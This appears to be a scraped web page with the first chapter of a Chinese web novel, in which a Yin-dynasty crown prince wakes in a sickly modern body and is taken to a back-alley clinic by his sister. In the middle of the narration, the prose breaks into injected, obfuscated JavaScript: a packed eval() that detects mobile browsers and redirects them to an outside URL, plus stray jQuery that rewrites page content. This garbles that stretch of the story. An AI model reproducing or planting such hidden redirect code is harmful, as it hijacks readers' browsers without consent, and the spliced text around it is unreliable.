默认冷灰
24号文字
方正启体

1. 第 1 章

作者:言罗藏影本书字数:K更新时间:
    诊所这半边,摆放着红棕色的中药立柜,每个小格子上贴着起码三个药草标签,而小格子里的药材自然也是混放的。


    而诊所那半边,用贴满标语的磨砂玻璃隔断成一个诊室,隐隐能看到破损蓝色纱布罩的病床和掉漆的器械。


    整个诊所,从挂着发黄透明塑料条子的狭窄门口到最里面昏黄灯光的诊室,不超过三十平。


    地上起码40年前样式的发黑瓷砖和斑驳掉屑的不成样子的墙壁衬托下,站在屋内的两个年轻人都显得憔悴了几分。


    “什么毛病?”


    老医生头发花白,像古装片那样蓄着长须穿着棕色长袍,只是脖子上挂着个听诊器,看上去有些中西医结合的样子。


    他对面的姑娘二十多岁,面容清秀姣好,但有些营养不良的苍白,她刚洗完头就急匆匆的赶来这边,只随意套了灰色卫衣运动裤,脚上还耷拉着拖鞋。


    她的神色中带着深深的惶恐:“……我弟,我弟……”


    她一边惊恐的说着一边拽了拽边上那个人。


    老医生抬了抬老花镜,眯着眼看被他拽的上前一步的人。


    他看上去二十左右的年纪,头发又乱又长地垂在脸上,遮住了眼睛,黑色的oversize卫衣袖子空荡荡的,被他姐一拽,露出一截瘦削得吓人的手臂。


    “营养不良?”


    “不是,不是这个问题……小煦,你让医生看看!”


    项煦抬了抬头,条形码般的头发底下露出一双漆黑的眼睛。


    看似平静的外表下,项煦的世界观其实已经崩塌了好几次了。


    一个时辰前,他穿着红色金丝的喜服,满揣着一颗砰砰乱撞的心跳,想象着自己盼星星盼月亮盼来的太子妃的面容,在殿门口反复犹豫了足有一柱香的时间,才轻轻的推开殿门。


    烛光跳动,珠帘泠泠,他往那边走了几步,“嘭”的一声撞到了什么东西,晕了过去。


    醒来的时候,他看到了一张忧虑的面容。


    身体上一点力气都没有,头晕的要炸开,胃液在肚子里翻涌,他强忍不适,努力辨认出这张面容的主人。


    寅朝太子项煦幼时母亲早逝,因而是嘉皇贵妃一手带大的。


    眼前这个人是嘉皇贵妃的女儿,项煦的二皇姐,名为项霁,项霁素来以温婉可亲闻名,待他如同待亲弟弟般。


    头痛的要炸开,眼前一阵阵泛白,项煦强忍痛意摁了摁脑袋:“……皇姐,予为何……”


    晃着他的手僵住了,项煦也愣住了,他看到一张惊骇的脸,他从来没见过皇姐露出这么不含蓄的表情。


    目光一路下移,却见皇姐头发湿漉漉的,像冷宫里发疯的妃子那样一缕一缕地乱垂着,身上的衣服是从来没见过的样式,上面沾着斑驳的水迹,继续往下,光洁的脚踝在他眼前一闪。


    她光着脚!


    项煦立刻别过脸。这时,他发现自己在一个非常狭小的空间里,这个空间阴暗闭塞,堆满杂物,垃圾遍地,散发着阵阵令人作呕的恶臭。


    头顶有一些光泻下来,他转过脸,一块方形的光源给他吓了一跳,本来好些的脑袋又开始胀痛不已。


    “小煦,你怎么了?!”看见项煦锤着自己的脑袋,项霁回过神,蹲下身。


    她的声音和记忆里皇姐叫她“阿煦”的声音杂糅在一起,在他耳旁形成一圈圈不平的波纹。


    项煦头更痛了,项霁急切的想把他扶起来,项煦本能躲开向霁伸过来的手,这种身体的反应让他自己都一怔。


    项霁的手在空中僵了一瞬,还是把项煦从地上拽起来扶着,她声音有些发紧:“小煦,我们去医院,现在就去!”


    被搀扶出那个狭小闭塞的空间,微凉的夜风灌进了项煦的身体,项煦的头痛有所缓解。


    前额和右耳上侧传来隐隐阵痛,右边肩膀留有大片淤青,左手腕下面上有一道小指粗划痕。


    他会想起刚才那个狭小空间里的场景和自己醒来时躺的位置。


    前额撞上那块放着方形亮屏的桌子,身体往右滑落下来时,左手本能的想抓住什么东西,却擦过桌角留下划痕,最终右边身体跌落在地上。


    但是,尽管他能判断出自己怎么晕过去的,却完全没有办法解释眼前的状况。


    被项霁扶着从那个狭小闭塞的空间出来,昏暗的灯光下,他们绕着肮脏的下行的楼梯一节节下去,每到一个转弯的地方会出现往内延伸的走道,走道两边的门狭小而紧密的贴着,这种场景起码出现六次。


    终于,他们走出了那地狱般的筒子楼,钻到冷风里。


    面前是一个棚子,里面横七竖八的放着许多两个轮子的东西,周边都是一模一样的房子,拥挤地排排而立。


    迎面飞速而来一个奇形怪状的东西,项煦正觑着眼睛看呢,项霁将他飞速往边上一捎,人头从两个轮子的东西上转过来。


    “长不长眼睛!”


    他的身形已经走远,这句话还在空中飘荡。


    头一回被人骂不长眼的寅朝皇太子完全呆住了。


    “小煦,我们别管他。”项霁拽了他一把,目光小心看过来,好像很怕他闹事。


    项煦现在还弄不清楚情况昏头转向的,又会闹什么事,皇姐轻轻一拽他,他就垂下脸,跟着她继续往前走。


    “这么晚去哪里找医院……”她的声音发紧,手上拿着一块小方形发光的东西,手指在上面划着。


    光线透过手机照向项霁的脸,从绿色转到蓝色。


    “56加213……”


    她面前的光线变成白色,她一个个按着手机上的数字。


    “269,还有269块。”


    原来是算术吗?但这个时候算术做什么?


    项煦低头思索起来。


    虽然这个皇姐很怪,但这是眼前唯一熟悉的事物,看她对自己的态度,也不至于加害自己。


    脑中的各种猜测纷扰着他,想得他有点想吐。眼前的年轻女子猛地站住了,握着那块发光的砖块在原地转了几圈。


    项煦很疑惑她的行为,却见她又突然像指针一般啪的站直了,坚定地点点头。


    “往这边。”


    这又是在做什么?


    项煦不敢再出声询问,担心再次引起皇姐的恐慌。


    他仔细思索起皇姐只言片语中的语言习惯。


    叫“小煦”,而不是“阿煦”,叫“医院”而不是“太医院”,称呼他为“你”,称呼那个男人为“他”。


    他的目光移向道路两旁的店铺招牌,那些在黑暗中依然发着光,因而清晰可见。


    “x


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338414|199278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    米xx黄傅x周”“食零友朋x交”“型造典x”“xx金五”……


    一排排字扫过,一半的字是项煦熟悉的,还有一半可以猜出来,但结合在一起的意义他看不明白。


    不只是建筑和服装,这里的语言表达习惯和用字习惯和寅朝也有细微的差别……


    虽然不明白发生了什么,但20多年对危险的警觉告诉他,到一个自己完全不熟悉的陌生环境,在弄清楚状况前,最好谨言慎行。


    首先不能表现出太多的异样,他之前说的话一定在某些方面让皇姐察觉到了异样,所以她才这么紧张。


    他决定非必要时不说话,先摸清楚发生了什么。


    项煦打定了主意,连打量四周的眼神都克制了许多,精神却紧绷起来,随时准备应对突如其来的危险。


    只是……他看了眼自己裹在黑色裤管下那两条麻杆般的腿,他很怀疑真遇上危险了,自己这身板能顶什么用。


    诡异的情况数不清楚,看到自己变成这幅羸弱的样子,他甚至哭都哭不出来。


    只是恍惚的想起自己都没见过面的太子妃,他终究感受到有点心痛了。


    碍于父皇的威严,加上自己性格的缘故,从小都没有女孩子敢靠近他,孤寡了二十多年,好不容易送来一个和亲的公主——


    ——啪!没了!


    究竟是怎么了!


    项煦内心是崩溃的,只是得益于从小到大父皇对他的挫折式教育,没有哭出来。


    很多时候项煦弄不清楚,老天和他父皇,哪一个对他比较残酷。


    但从父皇终于赐给他了个太子妃,老天却收走了这一点来看,还是老天残酷一些。


    一路怀着复杂的自嘲的心情,他终究被自己的皇姐带进了一家胡同里的老诊所。


    这个诊所里,这半边的中药柜项煦比较熟悉,那半边的玻璃围起诊室则是完全陌生的区域。


    坐在那里的老太医看年纪算得上靠谱,但脖子上挂着的那个金属听诊器让项煦不敢恭维。


    “营养不良?”


    老太医的声音苍老中带着些疲惫。


    “不是,不是这个问题……”项霁将项煦往前拉了一步,“你说句话!”


    项煦听明白皇姐的意思,但是,能引起皇姐恐慌的话一定也会引起太医的恐慌,为了不让别人发现异样,他已经决定了谨言慎行,所以此时一定闭口不言。


    满脸沟壑的老医生讲他从头到尾打量了一圈,镜片下浑浊的眼睛闪烁着洞悉的光芒,给项煦看得有些发毛。


    “你弟有心理问题?”


    “对!对!”


    “连话都不愿意说,”老医生不满的看了一眼满脸憔悴的姑娘,“心理问题一定要尽早重视,否则会越来越严重。”


    项霁的唇角抿了抿,手指在身后攥了攥衣角,她忽而抬起头,看到项煦探察眼神时,似有些心虚的别过脸去。


    项煦盘算着,从大夫“一定要重视,否则越来越严重”来看,这所谓“心理问题”,应该是一种病。


    难道这疾病是他来这里的原因?


    因为这个病,这副身体的主人死了,或者和什么鬼神沟通,把自己招来夺舍了?


    但是夺舍能不能挑一挑,他知道有所谓三千大千世界,但这是给他干哪来了?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)